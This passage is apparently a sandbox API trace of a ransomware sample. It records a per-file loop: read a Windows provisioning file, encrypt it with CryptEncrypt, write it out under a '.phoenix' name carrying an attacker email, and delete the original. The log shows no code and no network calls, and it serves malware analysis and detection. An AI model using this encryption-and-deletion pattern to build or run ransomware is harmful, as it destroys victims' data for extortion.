	[0238.029] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c3, lpOverlapped=0x0) returned 1
	[0238.059] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0238.059] WriteFile (in: hFile=0x2e4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0238.060] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151440) returned 1
	[0238.060] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0238.060] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0238.060] CryptDestroyKey (hKey=0x151440) returned 1
	[0238.060] WriteFile (in: hFile=0x2e4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0238.060] CryptDestroyKey (hKey=0x151200) returned 1
	[0238.060] CloseHandle (hObject=0x2f0) returned 1
	[0238.060] CloseHandle (hObject=0x2e4) returned 1
	[0238.060] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\193__Connections_Cellular_Aircel (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\193__connections_cellular_aircel (india)_i0$(__mvid)@wap.provxml")) returned 1
	[0238.061] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0238.062] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\194__connections_cellular_airtel (india)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0238.062] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=716) returned 1
	[0238.062] CloseHandle (hObject=0x2e4) returned 1
	[0238.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\194__connections_cellular_airtel (india)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0238.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\194__connections_cellular_airtel (india)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.062] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\194__connections_cellular_airtel (india)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0238.063] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0238.063] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0238.063] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\194__connections_cellular_airtel (india)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0238.063] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151440) returned 1
	[0238.063] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0238.063] ReadFile (in: hFile=0x2e4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2cc, lpOverlapped=0x0) returned 1
	[0238.080] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0238.080] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0238.081] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1517c0) returned 1
	[0238.081] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0238.081] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0238.081] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0238.081] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0238.082] CryptDestroyKey (hKey=0x151440) returned 1
	[0238.082] CloseHandle (hObject=0x2e4) returned 1
	[0238.082] CloseHandle (hObject=0x2f0) returned 1
	[0238.082] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\194__Connections_Cellular_Airtel (India)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\194__connections_cellular_airtel (india)_i0$(__mvid)@wap.provxml")) returned 1
	[0238.083] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0238.083] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\196__connections_cellular_indosat (indonesia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0238.084] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=646) returned 1
	[0238.084] CloseHandle (hObject=0x2f0) returned 1
	[0238.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\196__connections_cellular_indosat (indonesia)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0238.084] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\196__connections_cellular_indosat (indonesia)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.084] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\196__connections_cellular_indosat (indonesia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0238.084] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0238.084] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0238.084] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\196__connections_cellular_indosat (indonesia)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0238.085] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151240) returned 1
	[0238.085] CryptSetKeyParam (hKey=0x151240, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0238.085] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x286, lpOverlapped=0x0) returned 1
	[0238.177] CryptEncrypt (in: hKey=0x151240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290, dwBufLen=0x290 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x290) returned 1
	[0238.177] WriteFile (in: hFile=0x2e4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x290, lpOverlapped=0x0) returned 1
	[0238.177] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151080) returned 1
	[0238.178] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0238.178] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0238.178] CryptDestroyKey (hKey=0x151080) returned 1
	[0238.178] WriteFile (in: hFile=0x2e4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0238.178] CryptDestroyKey (hKey=0x151240) returned 1
	[0238.178] CloseHandle (hObject=0x2f0) returned 1
	[0238.178] CloseHandle (hObject=0x2e4) returned 1
	[0238.178] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\196__Connections_Cellular_Indosat (Indonesia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\196__connections_cellular_indosat (indonesia)_i1$(__mvid)@wap.provxml")) returned 1
	[0238.179] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0238.179] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\197__connections_cellular_telkomsel (indonesia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0238.180] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=721) returned 1
	[0238.180] CloseHandle (hObject=0x2e4) returned 1
	[0238.180] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\197__connections_cellular_telkomsel (indonesia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0238.180] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\197__connections_cellular_telkomsel (indonesia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.180] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\197__connections_cellular_telkomsel (indonesia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0238.180] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0238.180] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0238.180] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\197__connections_cellular_telkomsel (indonesia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0238.180] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151140) returned 1
	[0238.181] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0238.181] ReadFile (in: hFile=0x2e4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d1, lpOverlapped=0x0) returned 1
	[0238.182] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0238.182] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0238.183] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1516c0) returned 1
	[0238.183] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0238.183] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0238.183] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0238.183] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0238.183] CryptDestroyKey (hKey=0x151140) returned 1
	[0238.183] CloseHandle (hObject=0x2e4) returned 1
	[0238.183] CloseHandle (hObject=0x2f0) returned 1
	[0238.184] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\197__Connections_Cellular_Telkomsel (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\197__connections_cellular_telkomsel (indonesia)_i0$(__mvid)@wap.provxml")) returned 1
	[0238.185] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0238.185] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\198__connections_cellular_telkomsel (indonesia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0238.185] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=717) returned 1
	[0238.185] CloseHandle (hObject=0x2f0) returned 1
	[0238.185] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\198__connections_cellular_telkomsel (indonesia)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0238.185] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\198__connections_cellular_telkomsel (indonesia)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.186] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\198__connections_cellular_telkomsel (indonesia)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0238.186] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0238.186] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0238.186] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\198__connections_cellular_telkomsel (indonesia)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0238.232] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151400) returned 1
	[0238.232] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0238.232] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2cd, lpOverlapped=0x0) returned 1
	[0238.241] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0238.241] WriteFile (in: hFile=0x2e4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0238.242] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151640) returned 1
	[0238.242] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0238.242] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0238.242] CryptDestroyKey (hKey=0x151640) returned 1
	[0238.242] WriteFile (in: hFile=0x2e4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0238.242] CryptDestroyKey (hKey=0x151400) returned 1
	[0238.242] CloseHandle (hObject=0x2f0) returned 1
	[0238.242] CloseHandle (hObject=0x2e4) returned 1
	[0238.242] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\198__Connections_Cellular_Telkomsel (Indonesia)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\198__connections_cellular_telkomsel (indonesia)_i1$(__mvid)@wap.provxml")) returned 1
